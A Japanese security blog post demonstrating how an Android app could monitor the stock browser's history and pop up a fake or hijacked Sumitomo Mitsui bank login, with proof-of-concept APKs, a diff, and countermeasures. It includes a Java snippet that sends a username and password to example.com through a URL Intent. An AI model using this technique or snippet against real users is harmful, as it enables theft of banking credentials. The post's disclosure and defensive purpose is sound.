virifi.net

Androidの標準ブラウザ利用者を標的としたフィッシングアプリの実現可能性とその対策

ここ数日、「ポップアップ型フィッシング詐欺」が話題になっています。「ポップアップ型フィッシング詐欺」とはネットバンキングなどを閲覧中に認証情報やクレジットカード番号を入力させる偽のポップアップを表示させるタイプのフィッシング詐欺です。一般的な「偽サイト誘導型フィッシング詐欺」の場合は、アクセス先のドメイン名やSSL証明書の検証結果を確認すれば見破ることができたのですが、「ポップアップ型フィッシング詐欺」ではそれらは正規のサイトのものが表示されるので同様の方法では見破ることができません。PCにインストールされたマルウェアが原因であると報道されています。現状ではスマートフォンでの事例は報道されていません。この記事では、Androidの標準ブラウザ利用者を標的とした「アプリ切り替え型フィッシング詐欺」が実現できること、そしてその対策を示します。

この解説の趣旨

以下ではフィッシングアプリの具体的な実現方法及び、実証コードを示しています。この記事を公開することにより、悪意を持った者に読まれたら危ないのではないかという意見があるかもしれませんが、以下の理由によりあえて公開しています。

  • この記事で解説する手法を使っているアプリが多数存在し、もはや周知の事実であること
  • もしこの手法を知らなくても、セキュリティアプリをデコンパイルすれば数分でわかるほど実装方法が容易
  • 登場が予想されるフィッシングアプリの根拠を示すため
  • この手法によるフィッシングに合わないためにも、実際にアプリを動かして体験するのが効果的である一方、ソースが無い野良アプリなんて誰もインストールしない

登場が予想されるフィッシングアプリを解説し事前にフィッシングアプリの実態を知っておくことにより、フィッシングアプリによる被害を防ごうというのがこの記事の趣旨です。

標準ブラウザで閲覧中のページをroot権限無しで他のアプリが取得することは可能なのか

Androidの標準ブラウザには現在閲覧中のURLを他のアプリから取得できるような仕組みは用意されていません。しかしながら、Google Playストアには閲覧中のURLを取得しないと実現できないような機能を持つアプリが公開されています。具体的に言えば、セキュリティアプリの「セーフブラウジング機能」です。「セーフブラウジング機能」とは標準ブラウザでフィッシングサイトにアクセスしようとした際に警告を表示する機能です。以下に「セーフブラウジング機能」を持ったアプリの一例を示します。

現状自分が確認したのは以上ですが、他にも多数あると思われます。実はこれらのアプリには共通点があります。それはcom.android.browser.permission.READ_HISTORY_BOOKMARKSという権限を要求するということです。標準ブラウザはブックマークや履歴をContentProviderで管理しており、com.android.browser.permission.READ_HISTORY_BOOKMARKSを持つアプリであればそのContentProviderからデータを読み取ることができるようになっています。また、標準ブラウザが履歴にページを追加するタイミングはサイトにアクセスしようとした直後です。つまり、ContentProviderの提供する履歴を常に監視し新たな履歴が追加されたことを知ることが出来れば、そのページに今アクセスしているということが他のアプリからでもわかるのです。

ContentProviderにはデータの追加や変更があったタイミングで読み取り側に通知する仕組みを持っており、履歴を監視するにはBrowser.BOOKMARKS_URIの示すContentProviderに対してContentObserverを登録することにより実現可能です。ただし、上記すべてのアプリが実際にこの方法で閲覧中ページを取得しているのかどうかは確認していません。(Lookoutのみ調べました・・・)

履歴監視のフィッシング詐欺への適用

閲覧中ページを取得することにより、上記のセキュリティアプリのような「セーフブラウジング機能」を実現できる一方で、悪用すればフィッシング詐欺に用いることができます。例えば、標準ブラウザでオンラインバンキングのログインページにアクセスした瞬間に、最前面に出現し偽のログイン画面を表示するということができるのです。実はこれは「セーフブラウジング機能」とやっていることは同じなのです。どちらの場合も、ある特定のURLをフックしてアプリが用意した画面を表示しているだけなのです。今後同様の仕組みを利用したフィッシングアプリの出現が容易に予想されます。

実証アプリ1(権限:「ブラウザの履歴・ブックマークの読み取り」のみ)

履歴監視を利用したフィッシングアプリの動作は、フック時にアプリの切り替えが生じるのでその切替動作を見逃さなければフィッシングであると見破ることができます。実際にどのような動作になるかは実際に見たほうがわかりやすいでしょうから、実証アプリを作成いたしました。

このアプリでは、三井住友銀行のスマートフォンサイトのログインページへのアクセスをフックし、テキストボックスとボタンが設置してあるページを表示します。そのページでボタンを押すと標準ブラウザを立ち上げ、入力された語でGoogle検索します。このアプリが要求する権限は「ブラウザの履歴情報・ブックマークの利用」のみで、「完全なインターネットアクセス」は必要ありません。何の権限を持たないアプリであっても、

1
2
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://example.com/send?user=hoge&pass=fuga"));
startActivity(intent);

というコードを書けばexample.comに対しユーザー名とパスワードを送信できることから、たとえインターネットアクセスが無くても安心してはいけません。

この実証アプリの場合はGoogleに送信するだけですが、実際のフィッシングでは認証情報が付与されたURL(攻撃者のサイト)をブラウザで開かせ、瞬時に元のサイトにリダイレクトするという感じになるでしょう。この場合、元サイトのログインは失敗したように見えここで異変に気付くかもしれません。

実証アプリ2(権限:「ブラウザの履歴・ブックマークの読み取り」及び「完全なインターネットアクセス」)

もし、フィッシングアプリが「ブラウザの履歴・ブックマークの読み取り」だけでなく「完全なインターネットアクセス」を権限に持っていた場合さらに危険です。

  • ダウンロード : PhishingApp2.apk (PhishingApp.apkをアンインストールしてからインストールしてください)

ソースコードは上記のものとほぼ同じです。差分を示します。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
diff --git a/AndroidManifest.xml b/AndroidManifest.xml
index 5ed9d17..4190073 100644
--- a/AndroidManifest.xml
+++ b/AndroidManifest.xml
@@ -7,6 +7,7 @@
         android:minSdkVersion="8"
         android:targetSdkVersion="15" />
     <uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"/>
+    <uses-permission android:name="android.permission.INTERNET"/>

     <application
         android:icon="@drawable/ic_launcher"
diff --git a/res/layout/activity_main.xml b/res/layout/activity_main.xml
index 3c9989d..ed42f00 100644
--- a/res/layout/activity_main.xml
+++ b/res/layout/activity_main.xml
@@ -15,7 +15,7 @@
             android:layout_alignParentRight="true"
             android:layout_alignParentTop="true"
             android:layout_margin="15dp"
-            android:text="@string/app_description"
+            android:text="@string/app_description2"
             android:textColor="#FF8BC84B" />

         <Button
diff --git a/src/net/virifi/android/phishingapp/PhishingActivity.java b/src/net/virifi/android/phishingapp/PhishingActivity.java
index 5911874..d693e12 100644
--- a/src/net/virifi/android/phishingapp/PhishingActivity.java
+++ b/src/net/virifi/android/phishingapp/PhishingActivity.java
@@ -30,8 +30,8 @@ public class PhishingActivity extends Activity {
          }
      }, "js_interface");
      
-        //webView.loadUrl(url);
-        webView.loadUrl("file:///android_asset/phishing.html");
+        webView.loadUrl(url);
+        //webView.loadUrl("file:///android_asset/phishing.html");
      
      Toast.makeText(this, "フィッシングアプリで表示しています", Toast.LENGTH_LONG).show();
  }

この実証アプリ2では、三井住友銀行のスマートフォンサイトのログインページのアクセスをフックするところまでは同じですが、フックした後フィッシングアプリ側のWebViewで本物のログインページを開くようにしています。そして、そのページで認証情報を入力すると当然ながらログインが成功します。

この際、ログイン画面のテキストボックスに入力された文字列はJavaScriptを用いてフィッシングアプリから取得することが可能なのです。(この実証アプリにはこの部分のコードは含めていません。)さらには、表示されているサイト上で任意のJavaScriptを実行させることが可能なので、例えばオンラインバンキング契約カードの裏面の乱数表をすべて入力させるポップアップをWebView内に表示させることも可能なのです。当然その入力内容を取得することもできます。

スクリーンショット

スクリーンショット

動作動画

どうすれば見破れるのか

実証アプリを実行していただければすぐにわかると思うのですが、フック時にアプリの切り替えが起こるのでそこで気付けるかもしれません。Android4.1端末だとアプリ切替時のアニメーションがそれ以前のバージョンより激しいのでわかりやすいと思います。しかしながら、ここで気付けなかったらその後に気付くのは難しいかもしれません。

実証アプリにおいては、フック後はWebViewを画面全体に表示しているだけなので、すぐに標準ブラウザではないと気付くことが出来るでしょう。しかしながら、Androidの標準ブラウザのソースコードは公開されており、そのソースコードをベースに少しいじった標準ブラウザベースのブラウザがGoogle Playストアで既にいくつか配布されています。つまり、標準ブラウザと全く同じ動作をさせるブラウザを搭載したフィッシングアプリの登場が予想できます。ブックマークの読み取りが可能なので、標準ブラウザに保存していたブックマークを同じように表示させることが可能です。もし、標準ブラウザの設定を何も変更せずに使っていた場合はどこにも異変を感じずにフィッシングアプリのWebViewでログインしてしまうことになるでしょう。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
         ,. -‐'''''""¨¨¨ヽ
         (.___,,,... -ァァフ|          あ…ありのまま 今 起こった事を話すぜ!
          |i i|    }! }} //|
         |l、{   j} /,,ィ//|       『おれは標準ブラウザでブラウジングしていたと思ったら
        i|:!ヾ、_ノ/ u {:}//ヘ        いつのまにかフィッシングアプリでブラウジングしていた』
        |リ u' }  ,ノ _,!V,ハ |
       /´fト、_{ル{,ィ'eラ , タ人        な… 何を言ってるのか わからねーと思うが
     /'   ヾ|宀| {´,)⌒`/ |<ヽトiゝ        おれも何をされたのかわからなかった…
    ,゙  / )ヽ iLレ  u' | | ヾlトハ〉
     |/_/  ハ !ニ⊇ '/:}  V:::::ヽ        頭がどうにかなりそうだった…
    // 二二二7'T'' /u' __ /:::::::/`ヽ
   /'´r ー---ァ‐゙T´ '"´ /::::/-‐  \    催眠術だとか超スピードだとか
   / //   广¨´  /'   /:::::/´ ̄`ヽ ⌒ヽ    そんなチャチなもんじゃあ 断じてねえ
  ノ ' /  ノ:::::`ー-、___/::::://       ヽ  }
_/`丶 /:::::::::::::::::::::::::: ̄`ー-{:::...       イ  もっと恐ろしいものの片鱗を味わったぜ…

ただし、Nexusシリーズ以外の端末の場合、標準ブラウザの見た目は変更されていることが多く、それを完全に真似するのは少し難しいかもしれません。一番簡単なのは、標準ブラウザをデコンパイルしてパッケージ名変更、権限の削除、及びフィッシングコードの挿入だろうと思います。

対策

以上で述べたようなフィッシングアプリの被害に合わないために一番簡単なのは

標準ブラウザを使わないこと

です。Android4.0以降の端末を使用しているのならば、Chrome for Androidがオススメです。WebViewはいろいろと問題がありますし、たとえ脆弱性が発見されても修正するには端末のアップデートが必要になります。ChromeはWebViewを使用しておらず、独自のブラウザエンジンを使用しています。もし何かしらの脆弱性が発見されても、修正はアプリのアップデートだけで済むので、すぐに修正版を使用することができます。goroh_kunさんのWebViewの脆弱性に関する発表スライド(pdf)は必読です。

もしどうしても標準ブラウザ使用したいのであれば、com.android.browser.permission.READ_HISTORY_BOOKMARKSつまり「ブラウザの履歴とブックマークの読み取り」権限を持っているアプリをインストールしないでください。

Comments